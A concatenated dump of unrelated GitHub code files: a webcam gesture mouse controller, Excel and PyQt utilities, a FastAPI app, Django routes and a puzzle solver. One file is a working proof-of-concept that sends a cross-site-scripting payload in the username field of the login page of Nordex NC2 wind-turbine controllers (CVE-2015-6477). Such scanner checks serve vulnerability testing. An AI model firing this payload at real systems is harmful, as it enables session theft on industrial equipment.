=60, height = 5)\n activation_help_label.grid(row = 7, column = 0)\n\n fps_help_label = Label(help_index_window, text= \"The FPS checkbox when selected shows the FPS within the frame\", font = help_body_font, bg=\"#F1D93E\", bd =1, anchor = W, justify = LEFT, width =60, height = 5)\n fps_help_label.grid(row = 8, column = 0)\n\n help_close_button = Button(help_index_window, text= \"Close\", command = help_index_window.destroy, cursor= \"tcross\", bg=\"#F1D93E\", activebackground = \"lightgray\", activeforeground = \"white\", bd =1)\n help_close_button.grid(row = 9, column = 1)\n\n# ========================================================= IMAGE PROCESSING METHOD ========================================================= #\n\n# main part of the program - runs the object detections and webcam feed\ndef gestureHandling():\t\n\n\tuser_cooldown = user_cooldown_Intvar.get()\n\tsensitivity = sensitivity_Intvar.get()\n\tbrightness = brightness_Intvar.get()\n\tmin_area = min_area_Intvar.get()\n\tneig = neighbour_Intvar.get()\n\tcheck = check_Intvar.get()\n\tfps_choice = fps_choice_Intvar.get()\n\n\tif scale_value_Intvar.get()/1000 == 0:\n\t\tscale_value = 50 # not an optimal value but avoids a crash - if the scale is too low it blitzes the screen with false positives\n\telse:\n\t\tscale_value = 1 +scale_value_Intvar.get()/1000 # sets the value to what the user has chosen\n\t# Updates the frames brightness\n\tcap.set(10, brightness)\n\t# Stores the frame from webcam\n\treg, frame = cap.read()\n\t# flips the image \n\tframe = cv2.flip(frame,1)\n\n\t# Creates the objects for the gestures from the cascades\n\tobjs_palm = cascade_palm.detectMultiScale(frame,scale_value,neig)\n\tobjs_fist = cascade_fist.detectMultiScale(frame,scale_value,neig)\n\tobjs_thumb = cascade_thumb.detectMultiScale(frame,scale_value,neig)\n\tobjs_peace = cascade_peace.detectMultiScale(frame,scale_value,neig)\n\n\t#==========================================#\n\n\t# Palm Cascade\n\tfor (x,y,w,h) in objs_palm:\n\t\t# Object detection\n\t\tif calcArea(h,w) > min_area:\n\t\n\t\t\t# store the values for the centre of the object \n\t\t\tcentre_x = int(x+(w/2))\n\t\t\tcentre_y = int(y+(h/2))\n\n\t\t\t# draws and labels the gesture it has recognised\n\t\t\tcv2.rectangle(frame,(x,y),(x+w,y+h),(colour1),3)\n\t\t\tcv2.putText(frame,palm_object,(x,y-5),cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(colour1),2)\n\t\t\tcv2.circle(frame, (centre_x, centre_y), 5, (colour2), -1) # centre circle\n\t\t\tif check == 1:\n\t\t\t\tcv2.rectangle(frame,(270,70),(370,170),(255,255,0),5)\n\t\t\t\tcv2.rectangle(frame,(270,410),(370,310),(255,255,0),5)\n\t\t\t\tcv2.rectangle(frame,(430,290),(530,190),(255,255,0),5)\n\t\t\t\tcv2.rectangle(frame,(110,290),(210,190),(255,255,0),5)\n\n\t\t\t\t\t#Top right\n\t\t\t\tcv2.rectangle(frame,(530,170),(480,70),(255,255,0),5)\n\t\t\t\tcv2.rectangle(frame,(430,70),(530,120),(255,255,0),5)\n\t\t\t\n\t\t\t\t\t\t\t\t#Top left \n\t\t\t\tcv2.rectangle(frame,(110,70),(160,170),(colour2),5)\n\t\t\t\tcv2.rectangle(frame,(110,70),(210,120),(colour2),5)\n\t\n\t\t\t\t\t\t\t\t#Bottom right \n\t\t\t\tcv2.rectangle(frame,(530,310),(480,410),(colour2),5)\n\t\t\t\tcv2.rectangle(frame,(430,410),(530,360),(colour2),5)\n\n\t\t\t\t\t\t\t\t#Bottom left\n\t\t\t\tcv2.rectangle(frame,(110,310),(160,410),(colour2),5)\n\t\t\t\tcv2.rectangle(frame,(210,410),(110,360),(colour2),5)\n\n\t\t\t\t# big ass if statement for each direction the mouse can move - maybe we should clean it up\n\t\t\t\tif 270 < centre_x < 370 and 170 > centre_y > 70:\n\t\t\t\t\t\tprint(\"N\")\n\t\t\t\t\t\tmouse_position.decreases_y(sensitivity)\n\t\t\t\telif 270 < centre_x < 370 and 410 > centre_y > 310:\n\t\t\t\t\t\tprint(\"S\")\n\t\t\t\t\t\tmouse_position.increases_y(sensitivity)\n\t\t\t\telif 430 < centre_x < 530 and 290 > centre_y > 190:\n\t\t\t\t\t\tprint(\"E\")\n\t\t\t\t\t\tmouse_position.increases_x(sensitivity)\n\t\t\t\telif 110 < centre_x < 210 and 290 > centre_y > 190:\n\t\t\t\t\t\tprint(\"W\")\n\t\t\t\t\t\tmouse_position.decreases_x(sensitivity)\n\t\t\t\telif 480 < centre_x < 530 and 120 > centre_y > 70:\n\t\t\t\t\t\tprint(\"NE\")\n\t\t\t\t\t\tmouse_position.decreases_y(sensitivity)\n\t\t\t\t\t\tmouse_position.increases_x(sensitivity)\n\t\t\t\telif 480 < centre_x < 530 and 170 > centre_y > 120:\n\t\t\t\t\t\tprint(\"NEE\")\n\t\t\t\t\t\tmouse_position.increases_x(sensitivity)\n\t\t\t\t\t\tmouse_position.decreases_y(sensitivity/2)\n\t\t\t\telif 430 < centre_x < 480 and 120 > centre_y > 70:\n\t\t\t\t\t\tprint(\"NNE\")\n\t\t\t\t\t\tmouse_position.decreases_y(sensitivity)\n\t\t\t\t\t\tmouse_position.increases_x(sensitivity/2)\n\t\t\t\telif 110 < centre_x < 160 and 120 > centre_y > 70:\n\t\t\t\t\t\tprint (\"NW\")\n\t\t\t\t\t\tmouse_position.decreases_y(sensitivity)\n\t\t\t\t\t\tmouse_position.decreases_x(sensitivity)\n\t\t\t\telif 160 < centre_x < 210 and 120 > centre_y > 70:\n\t\t\t\t\t\tprint(\"NNW\")\n\t\t\t\t\t\tmouse_position.decreases_y(sensitivity)\n\t\t\t\t\t\tmouse_position.decreases_x(sensitivity/2)\n\t\t\t\telif 110 < centre_x < 160 and 170 > centre_y > 120:\n\t\t\t\t\t\tprint(\"NWW\")\n\t\t\t\t\t\tmouse_position.decreases_y(sensitivity/2)\n\t\t\t\t\t\tmouse_position.decreases_x(sensitivity)\n\t\t\t\telif 480 < centre_x < 530 and 410 > centre_y > 360:\n\t\t\t\t\t\tprint(\"SE\")\n\t\t\t\t\t\tmouse_position.increases_x(sensitivity)\n\t\t\t\t\t\tmouse_position.increases_y(sensitivity)\n\t\t\t\telif 480 < centre_x < 530 and 360 > centre_y > 310:\n\t\t\t\t\t\tprint(\"SEE\")\n\t\t\t\t\t\tmouse_position.increases_x(sensitivity/2)\n\t\t\t\t\t\tmouse_position.increases_y(sensitivity)\n\t\t\t\telif 430 < centre_x < 480 and 410 > centre_y > 360:\n\t\t\t\t\t\tprint(\"SSE\")\n\t\t\t\t\t\tmouse_position.increases_x(sensitivity)\n\t\t\t\t\t\tmouse_position.increases_y(sensitivity/2)\n\t\t\t\telif 110 < centre_x < 160 and 410 > centre_y > 360:\n\t\t\t\t\t\tprint(\"SW\")\n\t\t\t\t\t\tmouse_position.increases_y(sensitivity)\n\t\t\t\t\t\tmouse_position.decreases_x(sensitivity)\n\t\t\t\telif 110 < centre_x < 160 and 360 > centre_y > 310:\n\t\t\t\t\t\tprint(\"SWW\")\n\t\t\t\t\t\tmouse_position.increases_y(sensitivity/2)\n\t\t\t\t\t\tmouse_position.decreases_x(sensitivity)\n\t\t\t\telif 160 < centre_x < 210 and 410 > centre_y > 360:\n\t\t\t\t\t\tprint(\"SSW\")\n\t\t\t\t\t\tmouse_position.decreases_x(sensitivity/2)\n\t\t\t\t\t\tmouse_position.increases_y(sensitivity)\n\n\t\t\t# if statement to check if mouse is inside the monitor window size\n\t\t\t\tif 0 < x < 1920 and 0 < y < 1080:\n\t\t\t\t#moves mouse\n\t\t\t\t\tmouse_x = mouse_position.gets_x()\n\t\t\t\t\tmouse_y = mouse_position.gets_y()\n\t\t\t\t\tpyautogui.moveTo(mouse_x,mouse_y)\n\t\t\t\n\t#==========================================#\n\t# Fist Cascade\n\tfor (x,y,w,h) in objs_fist:\n\n\t\tif calcArea(h,w) > min_area:\n\t\t\t# labels the gesture\n\t\t\tcv2.rectangle(frame,(x,y),(x+w,y+h),(colour1),3)\n\t\t\tcv2.putText(frame,fist_object,(x,y-5),cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(colour1),2)\n\t\t\tif check == 1:\n\t\t\t\t# handles the cooldown to avoid spamming inputs\n\t\t\t\tleft.setPrevious(clickCooldown(left.getPrevious(),user_cooldown,\"Left\",1))\n\n\t#==========================================#\n\t# Thumb Cascade\n\tfor (x,y,w,h) in objs_thumb:\n\n\t\tif calcArea(h,w) > min_area:\n\t\t\t# labels the gesture\t\t\t\n\t\t\tcv2.rectangle(frame,(x,y),(x+w,y+h),(colour1),3)\n\t\t\tcv2.putText(frame,thumb_object,(x,y-5),cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(colour1),2)\n\t\t\tif check == 1:\n\t\t\t\t# handles the click cooldown\n\t\t\t\tright.setPrevious(clickCooldown(right.getPrevious(),user_cooldown,\"Right\",1))\n\t#==========================================#\n\n\t# Peace Cascade\n\tfor(x,y,w,h) in objs_peace:\n\n\t\tif calcArea(h,w) > min_area:\n\t\t\t# labels the peace gesture\n\t\t\tcv2.rectangle(frame,(x,y),(x+w,y+h),(colour1),3)\n\t\t\tcv2.putText(frame,peace_object,(x,y-5),cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(colour1),2)\n\t\t\tif check == 1:\n\t\t\t\t# handles the cooldown for the click\n\t\t\t\tdouble.setPrevious(clickCooldown(double.getPrevious(),user_cooldown,\"left\",2))\n\n\t#==========================================#\n\t# Creates an FPS counter for user feedback\n\t# only if the user wishes to see the FPS\n\tif fps_choice == 1:\n\t\tnew_frame = time.time()\n\t\tprevious = fps.getPrevious()\n\t\tfps_string = str(int(1/(new_frame-previous)))\n\t\tfps.setPrevious(new_frame)\n\t\tcv2.putText(frame, \"FPS: \"+ fps_string,(1,20),cv2.FONT_HERSHEY_COMPLEX_SMALL,1,(colour2),2)\n\t#==========================================#\n\t#Shows the frame\n\tframe = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA)\n\timg = Image.fromarray(frame)\n\timgtk = ImageTk.PhotoImage(image=img)\n\tmain_frame.imgtk = imgtk\n\tmain_frame.configure(image=imgtk)\n\tmain_frame.after(10, gestureHandling) \n\n# ========================================================= GUI INITIALISATION ========================================================= #\n# uses tkinter to create the main gui window\nvideo = Tk() #Makes main window\nvideo.title(\"OnlyHands Mouse Control System\")\nvideo.iconbitmap('media/bitmaplogo.ico') # gets the team's logo\nvideo.config(bg=\"#F1D93E\") # sets the background colour\nvideo.geometry(\"875x925+30+30\") # sets the resolution of the window\nvideo.resizable(False,False) # locks the resolution - avoids scaling issues when resizing\n\n# creates a frame to place onto the window - for the webcam feed and openCV processing\nimage_frame = Frame(video, width = 600, height = 400)\nimage_frame.place(x=0,y=0) # places in top left\n\nmain_frame = Label(image_frame)\nmain_frame.place(x=0,y=0)\n\n# Fonts\ntitle_font = tkFont.Font(family=\"verdana\", size=30, weight = \"bold\")\nname_font = tkFont.Font(family=\"verdana\", size=15, weight = \"bold\", slant = \"italic\")\nslider_font = tkFont.Font(family=\"verdana\", size=10)\nquit_font = tkFont.Font(family=\"verdana\", size=35)\n\n# Intvars\nuser_cooldown_Intvar = IntVar()\nsensitivity_Intvar = IntVar()\nbrightness_Intvar = IntVar()\nmin_area_Intvar = IntVar()\nneighbour_Intvar = IntVar()\nscale_value_Intvar = IntVar()\ncheck_Intvar = IntVar()\nfps_choice_Intvar = IntVar()\n\n# image\nonwindowlogo = Image.open(\"media/logo.png\")\ntkLogo = ImageTk.PhotoImage(onwindowlogo)\n\n# Others\nlogo_label = Label(video, image=tkLogo, bg =\"#F1D93E\")\nlogo_label.image = tkLogo\nlogo_label.place(x=600, y= 20)\nsliders_label = Label(video, text=\"Settings:\", font =title_font,bg=\"#F1D93E\").place(x=0,y=400)\nquit_button = Button(video, text=\" Quit \", command=clickExit, cursor= \"tcross\",bg=\"#F1D93E\", activebackground = \"lightgray\", activeforeground = \"white\", font=quit_font, relief =RIDGE)\nquit_button.place(x=625,y=150)\n\n# Scale Slider\nscale_label = Label(video, text=\"Scale:\", font =name_font,bg=\"#F1D93E\" ).place(x=25,y=475)\nscale_slider = Scale(video, from_=0, to=1000,tickinterval=500, orient=HORIZONTAL,variable = scale_value_Intvar, sliderlength = 10, length = 250, width = 25, bd = 4, cursor= \"tcross\", font = slider_font, relief = RIDGE, repeatdelay = \"1\", bg =\"#F1D93E\",fg=\"white\", activebackground =\"white\", highlightbackground = \"white\", troughcolor =\"lightgray\")\nscale_slider.set(400)\nscale_slider.place(x=130,y=475)\n\n#Neigbour Slider\nneighbour_label = Label(video, text=\"Neighbours:\", font =name_font,bg=\"#F1D93E\").place(x=430,y=475)\nneighbour_slider = Scale(video, from_=0, to=20,tickinterval=10,orient=HORIZONTAL,variable = neighbour_Intvar, sliderlength = 10, length = 250, width = 25, bd = 4, cursor= \"tcross\", font = slider_font, relief = RIDGE, repeatdelay = \"1\", bg =\"#F1D93E\",fg=\"white\", activebackground =\"white\", highlightbackground = \"white\", troughcolor =\"lightgray\")\nneighbour_slider.set(8)\nneighbour_slider.place(x=600,y=475)\n\n#Minarea Slider\nmin_area_label = Label(video, text=\"Min. Area:\", font =name_font,bg=\"#F1D93E\").place(x=5,y=600)\nmin_area_slider = Scale(video, from_=0, to=100000,tickinterval=50000, orient=HORIZONTAL, variable = min_area_Intvar, sliderlength = 10, length = 250, width = 25, bd = 4, cursor= \"tcross\", font = slider_font, relief = RIDGE, repeatdelay = \"1\", bg =\"#F1D93E\",fg=\"white\", activebackground =\"white\", highlightbackground = \"white\", troughcolor =\"lightgray\")\nmin_area_slider.set(1)\nmin_area_slider.place(x=130,y=600)\n\n#Brightness Slider\nbrightness_label = Label(video, text=\"Brightness:\", font =name_font,bg=\"#F1D93E\").place(x=430,y=600)\nbrightness_slider = Scale(video, from_=0, to=255,tickinterval=127, orient=HORIZONTAL, variable = brightness_Intvar, sliderlength = 10, length = 250, width = 25, bd = 4, cursor= \"tcross\", font = slider_font, relief = RIDGE, repeatdelay = \"1\", bg =\"#F1D93E\",fg=\"white\", activebackground =\"white\", highlightbackground = \"white\", troughcolor =\"lightgray\")\nbrightness_slider.set(100)\nbrightness_slider.place(x=600,y=600)\n\n#Senstivity Slider\nsenstivity_label = Label(video, text=\"Sensitivity:\", font =name_font,bg=\"#F1D93E\").place(x=0,y=725)\nsenstivity_slider = Scale(video, from_=0, to=100,tickinterval=50, orient=HORIZONTAL, variable = sensitivity_Intvar, sliderlength = 10, length = 250, width = 25, bd = 4, cursor= \"tcross\", font = slider_font, relief = RIDGE, repeatdelay = \"1\", bg =\"#F1D93E\",fg=\"white\", activebackground =\"white\", highlightbackground = \"white\", troughcolor =\"lightgray\")\nsenstivity_slider.set(20)\nsenstivity_slider.place(x=130,y=725)\n\n#Click Cooldown SLider\ncooldown_label = Label(video, text=\"Click Cooldown:\", font =name_font,bg=\"#F1D93E\").place(x=415,y=725)\ncooldown_slider = Scale(video, from_=0, to=10,tickinterval=5, orient=HORIZONTAL, variable = user_cooldown_Intvar, sliderlength = 10, length = 250, width = 25, bd = 4, cursor= \"tcross\", font = slider_font, relief = RIDGE, repeatdelay = \"1\", bg =\"#F1D93E\",fg=\"white\", activebackground =\"white\", highlightbackground = \"white\", troughcolor =\"lightgray\")\ncooldown_slider.set(5)\ncooldown_slider.place(x=600,y=725)\n\n#Activation Checkbox\nactivation_checkbox = Checkbutton(video, cursor= \"tcross\", variable = check_Intvar, onvalue = 1, offvalue = 0, height=3, width = 20, text = \"Activation\", font =name_font, justify = \"center\", selectcolor = \"lightgray\",bg=\"#F1D93E\",activebackground=\"#F1D93E\")\nactivation_checkbox.place(x=100,y=820)\n\n#Show FPS Checkbox\nfps_checkbox = Checkbutton(video, cursor= \"tcross\", variable = fps_choice_Intvar, onvalue = 1, offvalue = 0, height=3, width = 20, text = \"Show FPS\", font =name_font, justify = \"center\", selectcolor = \"lightgray\",bg=\"#F1D93E\",activebackground=\"#F1D93E\")\nfps_checkbox.place(x=580,y=820)\n\n#Help Menubar for settings\nmenu_bar = Menu(video)\n\nhelp_menu = Menu(menu_bar, tearoff=0)\nhelp_menu.add_command(label=\"Help Index\", command=createHelpWindow)\nmenu_bar.add_cascade(label=\"Help\", menu=help_menu)\n\n#Other Menubar for settings\nother_menu = Menu(menu_bar, tearoff=0)\nmenu_bar.add_cascade(label=\"Other\", menu=other_menu)\nother_menu.add_command(label=\"Contact us\", command=createContactUsWindow)\nother_menu.add_command(label=\"Quit\", command=clickExit)\n\nvideo.config(menu=menu_bar)\n\n# ========================================================= GESTURE PROCESSING ========================================================= #\npyautogui.FAILSAFE = False # sets the pyautogui library cursor movement failsafe to false, allowing the mouse to be placed at the edge of the screen\n\n# ----------------- handles the import of the cascades ----------------- #\n# Imports the path to palm cascade\npath_palm = 'haarscascades/palm.xml'\npalm_object = 'palm'\n\n# Imports the path to the fist Cascade\npath_fist = 'haarscascades/fist.xml'\nfist_object = 'fist'\n\n# Imports the path to the fist Cascade\npath_thumb = 'haarscascades/thumb.xml'\nthumb_object = 'thumb'\n\n# Imports the path to the fist Cascade\npath_peace = 'haarscascades/peace.xml'\npeace_object = 'peace'\n# ---------------------------------------------------------------------- #\n\n# sets initial values for variables used to control click cooldowns, to avoid \"spamming\" inputs\nleft = clickTime()\nright = clickTime()\ndouble = clickTime()\n\n#Used when measuring fps\nfps = clickTime()\n\n# creates mouse position object\nmouse_position = mousePosition()\n\n# Standardising the colour scheme\ncolour1 = (255,0,255)\ncolour2 = (255,255,0)\n# initialises the device's camera\ncap = cv2.VideoCapture(0)\n# error detection needs to be added here to determine internal/external webcam\n\n# stores the width and height of frame\nframe_width = int(cap.get(3))\nframe_height = int(cap.get(4))\n# stores the centre point of the frame\nframe_width_centre = round(frame_width/2)\nframe_height_centre = round(frame_height/2)\n# stores the x and y in the middle of a 1080 x 1920p monitor\ns_x = 960\ns_y = 540\n\n#==========================================#\n# creates the cascade classifiers\ncascade_palm = cv2.CascadeClassifier(path_palm)\ncascade_fist = cv2.CascadeClassifier(path_fist)\ncascade_thumb = cv2.CascadeClassifier(path_thumb)\ncascade_peace = cv2.CascadeClassifier(path_peace)\n\n#==========================================#\ngestureHandling() #Display 2\nvideo.mainloop() #Starts GUI\n#==========================================#\n","repo_name":"emsipop/GestureAnalysisOpenCV","sub_path":"GestureAnalysis.py","file_name":"GestureAnalysis.py","file_ext":"py","file_size_in_byte":21626,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"17143213335","text":"from folder_manager import FolderManager\nfrom openpyxl import Workbook, load_workbook\n\n\nclass ExcelManager:\n \"\"\"a\"\"\"\n\n def __init__(self):\n self.__master_file_path = \"\"\n\n @property\n def get_master_path(self):\n \"\"\"a\"\"\"\n return self.__master_file_path\n\n def create_master_workflow(self, folder_path):\n \"\"\"a\"\"\"\n master_directory_path = folder_path + r\"\\Master\"\n self.__master_file_path = master_directory_path + r\"\\master.xlsx\"\n\n if not FolderManager.directory_exists(master_directory_path):\n\n fm = FolderManager(folder_path)\n fm.create_directory(\"Master\")\n\n wb = Workbook()\n wb.active.title = \"Summary\"\n wb.save(filename=self.__master_file_path)\n wb.close()\n\n def consolidate_excel_file_in_target(self, origin_path, target_path):\n \"\"\"a\"\"\"\n origin_wb = load_workbook(origin_path)\n target_wb = load_workbook(target_path)\n\n for sheet in origin_wb.sheetnames:\n origin_current_ws = origin_wb[sheet]\n new_target_ws = target_wb.create_sheet(sheet)\n\n for row in origin_current_ws:\n for cell in row:\n new_target_ws[cell.coordinate].value = cell.value\n\n target_wb.save(target_path)\n\n origin_wb.close()\n target_wb.close()\n","repo_name":"lonelyLob0/FolderSentinel","sub_path":"excel_manager.py","file_name":"excel_manager.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36308798911","text":"\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.Qt import QAbstractItemView, Qt\nimport os\nimport sys\nsys.path.append('../../')\nimport database.db as db\n\nclass Ui_Professors_Dialog(object):\n def setupUi(self, Dialog):\n Dialog.setObjectName(\"Ui_Professors_Dialog\")\n Dialog.resize(318, 358)\n self.Dialog = Dialog\n scriptDir = os.path.dirname(os.path.realpath(__file__))\n self.Dialog.setWindowIcon(QIcon(scriptDir + os.path.sep + '../style/images/favicon.ico')) \n self.Dialog.setMaximumSize(QtCore.QSize(318, 358))\n self.verticalLayoutWidget = QtWidgets.QWidget(Dialog)\n self.verticalLayoutWidget.setGeometry(QtCore.QRect(10, 10, 301, 211))\n self.verticalLayoutWidget.setObjectName(\"verticalLayoutWidget\")\n self.tree_widget_verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget)\n self.tree_widget_verticalLayout.setContentsMargins(0, 0, 0, 0)\n self.tree_widget_verticalLayout.setObjectName(\"tree_widget_verticalLayout\")\n self.tree_widget = QtWidgets.QTreeWidget(self.verticalLayoutWidget)\n self.tree_widget.setColumnCount(3)\n self.tree_widget.setSelectionMode(QAbstractItemView.MultiSelection)\n self.tree_widget_verticalLayout.addWidget(self.tree_widget)\n self.select_deselect_all_horizontalLayout = QtWidgets.QHBoxLayout()\n self.select_deselect_all_horizontalLayout.setObjectName(\"select_deselect_all_horizontalLayout\")\n self.deselect_all_btn = QtWidgets.QPushButton(self.verticalLayoutWidget)\n self.deselect_all_btn.setObjectName(\"deselect_all_btn\")\n self.deselect_all_btn.clicked.connect(self.deselectAll)\n self.select_deselect_all_horizontalLayout.addWidget(self.deselect_all_btn)\n self.select_all_btn = QtWidgets.QPushButton(self.verticalLayoutWidget)\n self.select_all_btn.setObjectName(\"select_all_btn\")\n self.select_all_btn.clicked.connect(self.tree_widget.selectAll)\n self.select_deselect_all_horizontalLayout.addWidget(self.select_all_btn)\n self.tree_widget_verticalLayout.addLayout(self.select_deselect_all_horizontalLayout)\n self.verticalLayoutWidget_2 = QtWidgets.QWidget(Dialog)\n self.verticalLayoutWidget_2.setGeometry(QtCore.QRect(220, 270, 91, 80))\n self.verticalLayoutWidget_2.setObjectName(\"verticalLayoutWidget_2\")\n self.ok_cancel_verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_2)\n self.verticalLayoutWidget_2.setAttribute(Qt.WA_NoSystemBackground)\n self.ok_cancel_verticalLayout.setContentsMargins(0, 0, 0, 0)\n self.ok_cancel_verticalLayout.setObjectName(\"ok_cancel_verticalLayout\")\n self.ok_btn = QtWidgets.QPushButton(self.verticalLayoutWidget_2)\n self.ok_btn.setObjectName(\"ok_btn\")\n self.ok_cancel_verticalLayout.addWidget(self.ok_btn)\n self.cancel_btn = QtWidgets.QPushButton(self.verticalLayoutWidget_2)\n self.cancel_btn.setObjectName(\"cancel_btn\")\n self.ok_cancel_verticalLayout.addWidget(self.cancel_btn)\n\n self.load_professors_from_db()\n\n self.ok_btn.clicked.connect(self.ok_pressed)\n self.cancel_btn.clicked.connect(self.Dialog.reject)\n\n self.retranslateUi(Dialog)\n QtCore.QMetaObject.connectSlotsByName(Dialog)\n\n def retranslateUi(self, Dialog):\n _translate = QtCore.QCoreApplication.translate\n Dialog.setWindowTitle(_translate(\"Select Professors\", \"Select Professors\"))\n self.deselect_all_btn.setText(_translate(\"Dialog\", \"Deselect All\"))\n self.select_all_btn.setText(_translate(\"Dialog\", \"Select All\"))\n self.ok_btn.setText(_translate(\"Dialog\", \"OK\"))\n self.cancel_btn.setText(_translate(\"Dialog\", \"Cancel\"))\n\n def load_professors_from_db(self):\n rows = db.fetch_professors_from_db()\n self.tree_widget.setHeaderLabels(['Name', 'Surname', 'Department'])\n [self.tree_widget.addTopLevelItem(QtWidgets.QTreeWidgetItem([row[0], row[1], row[2]])) for row in rows]\n\n def ok_pressed(self):\n self.selected_professors = [{'Name': selected_prof.text(0), 'Surname': selected_prof.text(1), 'Department': selected_prof.text(2)} for selected_prof in self.tree_widget.selectedItems()]\n self.Dialog.accept()\n \n def deselectAll(self):\n for item in self.tree_widget.selectedItems():\n item.setSelected(False)\n","repo_name":"dimizisis/scopus_app","sub_path":"client/ui/dialogs/professors_dialog.py","file_name":"professors_dialog.py","file_ext":"py","file_size_in_byte":4412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40387922979","text":"def find_word(message):\n message = message.lower()\n tots =[]\n words = message.replace('.', '').replace(',','').split(\" \")\n\n for e, tstword in enumerate(words):\n avg_l = []\n for e2, word in enumerate(words):\n tmp = 0\n if e2 == e:\n continue\n\n if tstword[0] == word[0]:\n tmp += .10\n\n if tstword[-1] == word[-1]:\n tmp += .10\n\n if len(tstword) <= len(word):\n tmp += (len(tstword) / len(word)) * .30\n else:\n tmp += (len(word) / len(tstword)) * .30\n #get uniques\n unqs = set(word+tstword)\n tmp += (len(set(tstword).intersection(word)) / len(unqs)) * .50\n avg_l.append(tmp)\n\n #compute avg for tstword\n myavg = sum(avg_l) / len(avg_l)\n tots.append([tstword, myavg])\n\n #sort on list of list's second element\n tots.sort(key=lambda x: x[1])\n return tots[-1][0]\n","repo_name":"alexbaltman/c-h-e-c-k-i-o","sub_path":"ElectronicStation/gate-puzzles/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35333953732","text":"from fastapi import FastAPI, Request, Response\nfrom api.v1 import item, item_type\n\nfrom db import engine, models, SessionLocal\n\n\nmodels.Base.metadata.create_all(bind=engine)\n\n\napp = FastAPI(\n title=\"WarehouseStocksControl\",\n version='0.0.1'\n)\n\n\n@app.middleware(\"http\")\nasync def db_session_middleware(request: Request, call_next):\n response = Response(\"Internal server error\", status_code=500)\n try:\n request.state.db = SessionLocal()\n response = await call_next(request)\n finally:\n request.state.db.close()\n return response\n\n\n@app.get('/')\ndef index():\n return {'status': 'Ok!'}\n\n\napp.include_router(\n item_type.router,\n prefix='/v1/item_type',\n tags=[\"ItemType\"]\n)\n\napp.include_router(\n item.router,\n prefix='/v1/item',\n tags=[\"Item\"]\n)\n\n","repo_name":"W1ntersnow/fastapi_simple_sku","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"657233607","text":"import requests\n\n\n# Vuln Base Info\ndef info():\n return {\n \"author\": \"cckuailong\",\n \"name\": '''Nordex NC2 'username' Parameter XSS''',\n \"description\": '''An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.''',\n \"severity\": \"medium\",\n \"references\": [\n \"https://seclists.org/fulldisclosure/2015/Dec/117\", \n \"https://ics-cert.us-cert.gov/advisories/ICSA-15-286-01\", \n \"https://nvd.nist.gov/vuln/detail/CVE-2015-6477\"\n ],\n \"classification\": {\n \"cvss-metrics\": \"\",\n \"cvss-score\": \"\",\n \"cve-id\": \"\",\n \"cwe-id\": \"\"\n },\n \"metadata\":{\n \"vuln-target\": \"\",\n \n },\n \"tags\": [\"cve\", \"cve2015\", \"xss\", \"iot\", \"nordex\", \"nc2\"],\n }\n\n\n# Vender Fingerprint\ndef fingerprint(url):\n return True\n\n# Proof of Concept\ndef poc(url):\n result = {}\n try:\n url = format_url(url)\n path = '/login'\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36',\n 'Content-Type': 'application/x-www-form-urlencoded',\n }\n data = 'connection=basic&userName=admin%27%22%29%3B%7D%3C%2Fscript%3E%3Cscript%3Ealert%28%27123456%27%29%3C%2Fscript%3E&pw=nordex&language=en'\n\n resp = requests.post(url+path, headers=headers, data=data, timeout=10, verify=False, allow_redirects=False)\n if resp.status_code == 200 and \"\" in resp.text and \"text/html\" in str(resp.headers):\n result[\"success\"] = True\n result[\"info\"] = info()\n result[\"payload\"] = url+path\n\n except:\n result[\"success\"] = False\n \n return result\n\n\n# Exploit, can be same with poc()\ndef exp(url):\n return poc(url)\n\n\n# Utils\ndef format_url(url):\n url = url.strip()\n if not ( url.startswith('http://') or url.startswith('https://') ):\n url = 'http://' + url\n url = url.rstrip('/')\n\n return url","repo_name":"cckuailong/reapoc","sub_path":"2015/CVE-2015-6477/poc/pocsploit/CVE-2015-6477.py","file_name":"CVE-2015-6477.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","stars":641,"dataset":"github-code","pt":"78"} +{"seq_id":"1744754883","text":"from cgi import test\nfrom django.urls import path\nfrom .views import HomeView, GameView, add_to_cart, remove_from_cart, CartView, cart_count, CheckoutView, paymenthandler, order_complete_confirm, Me, SellGameAcc\n\n\n\napp_name='core'\nurlpatterns = [\n path('', HomeView.as_view(), name='home'),\n path('game//', GameView.as_view(), name='game'),\n path('cart/', CartView.as_view(), name='cart'),\n path('add-to-cart/', add_to_cart, name='add-to-cart'),\n path('cart-count/', cart_count, name='cart-count'),\n path('remove-from-cart/', remove_from_cart, name='remove-from-cart'),\n path('payment//', CheckoutView.as_view(), name='checkout'),\n path('payment//paymenthandler/', paymenthandler, name='paymenthandler'),\n path('order//confirm/', order_complete_confirm, name='order_confirm'),\n path('me/', Me.as_view(), name='me'),\n path('sell/', SellGameAcc.as_view(), name='sell'),\n]","repo_name":"SujithVSuresh/Game-Account-Seller-Django","sub_path":"core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33468828721","text":"from brownie import AdvancedCollectible, accounts, config, interface, 